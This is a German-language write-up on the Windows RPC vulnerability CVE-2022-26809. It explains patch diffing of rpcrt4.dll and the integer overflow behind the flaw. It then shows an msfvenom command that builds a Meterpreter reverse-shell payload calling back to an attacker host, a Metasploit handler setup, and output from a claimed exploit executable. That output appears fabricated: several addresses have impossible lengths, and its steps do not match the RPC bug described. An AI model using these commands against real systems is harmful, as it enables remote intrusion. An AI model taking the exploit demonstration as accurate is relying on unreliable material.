
CVE-2022-26809 – eine Schwachstelle in einer zentralen Windows-Komponente (RPC) erreicht nicht ohne Grund einen CVSS-Score von 9,8: Der Angriff erfordert keine Authentifizierung, kann remote über ein Netzwerk ausgeführt werden und kann zur Remote-Codeausführung (RCE) mit den Rechten des RPC-Dienstes führen, die von dem Prozess abhängen, der die RPC-Laufzeit hostet. Dieser kritische Fehler ermöglicht es mit etwas Glück, Zugriff auf einen nicht gepatchten Windows-Host mit laufendem SMB zu erhalten. Die Schwachstelle kann sowohl von außerhalb des Netzwerks ausgenutzt werden, um es zu kompromittieren, als auch zwischen Maschinen im Netzwerk.
Herstellerinformationen
Getestete verwundbare Hosts:
Wir werden diese Liste später aktualisieren. Wir vermuten, dass fast alle Builds mit laufendem SMB und offenem Port 445 betroffen sein werden.
TCP 135,139,445
Die CVE-Beschreibung besagt, dass die Schwachstellen in der Windows-RPC-Laufzeit liegen, die in einer Bibliothek namens rpcrt4.dll implementiert ist. Diese Laufzeitbibliothek wird sowohl in Client- als auch in Serverprozesse geladen, die das RPC-Protokoll zur Kommunikation verwenden. Wir haben die Versionen 10.0.22000.434 (März) und 10.0.22000.613 (gepatcht) verglichen und eine Liste der Änderungen herausgefiltert.
Die Funktionen OSF_SCALL::ProcessResponse und OSF_CCALL::ProcessReceivedPDU sind ihrer Natur nach ähnlich; beide verarbeiten RPC-Pakete, aber eine läuft auf der Serverseite und die andere auf der Clientseite (SCALL und CCALL). Beim Diffing von OSF_SCALL::ProcessReceivedPDU fielen uns zwei Codeblöcke auf, die in der neuen Version hinzugefügt wurden.


Beim Blick auf den gepatchten Code sahen wir, dass nach QUEUE::PutOnQueue eine neue Funktion aufgerufen wurde. Als wir uns die neue Funktion ansahen und in ihren Code eintauchten, fanden wir heraus, dass sie auf Integer-Überläufe prüft. Mit anderen Worten: Die neue Funktion im Patch wurde hinzugefügt, um zu überprüfen, ob eine Integer-Variable innerhalb eines erwarteten Wertebereichs bleibt.

Als wir tiefer in den verwundbaren Code in OSF_SCALL:GetCoalescedBuffer eintauchten, stellten wir fest, dass der Integer-Überlauf-Fehler zu einem Heap-Pufferüberlauf führen kann, bei dem Daten in einen Puffer kopiert werden, der zu klein ist, um sie aufzunehmen. Dies wiederum erlaubt es, Daten außerhalb der Grenzen des Puffers auf dem Heap zu schreiben. Wenn diese Primitive ausgenutzt wird, führt sie uns zur Remote-Codeausführung!
Auch in anderen Funktionen wurde ein entsprechender Aufruf zur Prüfung auf Integer-Überlauf hinzugefügt:
OSF_CCALL::ProcessResponse OSF_SCALL::GetCoalescedBuffer OSF_CCALL::GetCoalescedBuffer
Die Integer-Überlauf-Schwachstelle und die Funktion, die sie verhindert, existieren sowohl im clientseitigen als auch im serverseitigen Ausführungsfluss.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.105 LPORT=4444 -f raw > shellcode.bin
msf5 > use multi/handler
msf5 exploit(multi/handler) > set LHOST 192.168.10.105
LHOST => 192.168.10.105
msf5 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > run
CVE-2022-26809 IP-Port
C:\>CVE-2022-26809.exe 192.168.10.110 445
CVE-2022-26809 RPC Remote Exploit
[+] Checking... 192.168.10.110 445
[+] 192.168.10.110 445 IsOpen
[+] found low stub at phys addr 6800!
[+] Pipe at 4ac660
[+] base of RPC heap at fffff79480048033
[+] ntoskrnl entry at fffff802435782060
[+] found Pipe self-ref entry 1eb
[+] found Alsr at fffff64480301671
[+] found RPC CALL at fffff802451b3b30
[+] load shellcode.bin
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at fffff4ffc0033060
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff75006070a023!
[+] Try to execute shellcode!
[ ] Exploit Suceess!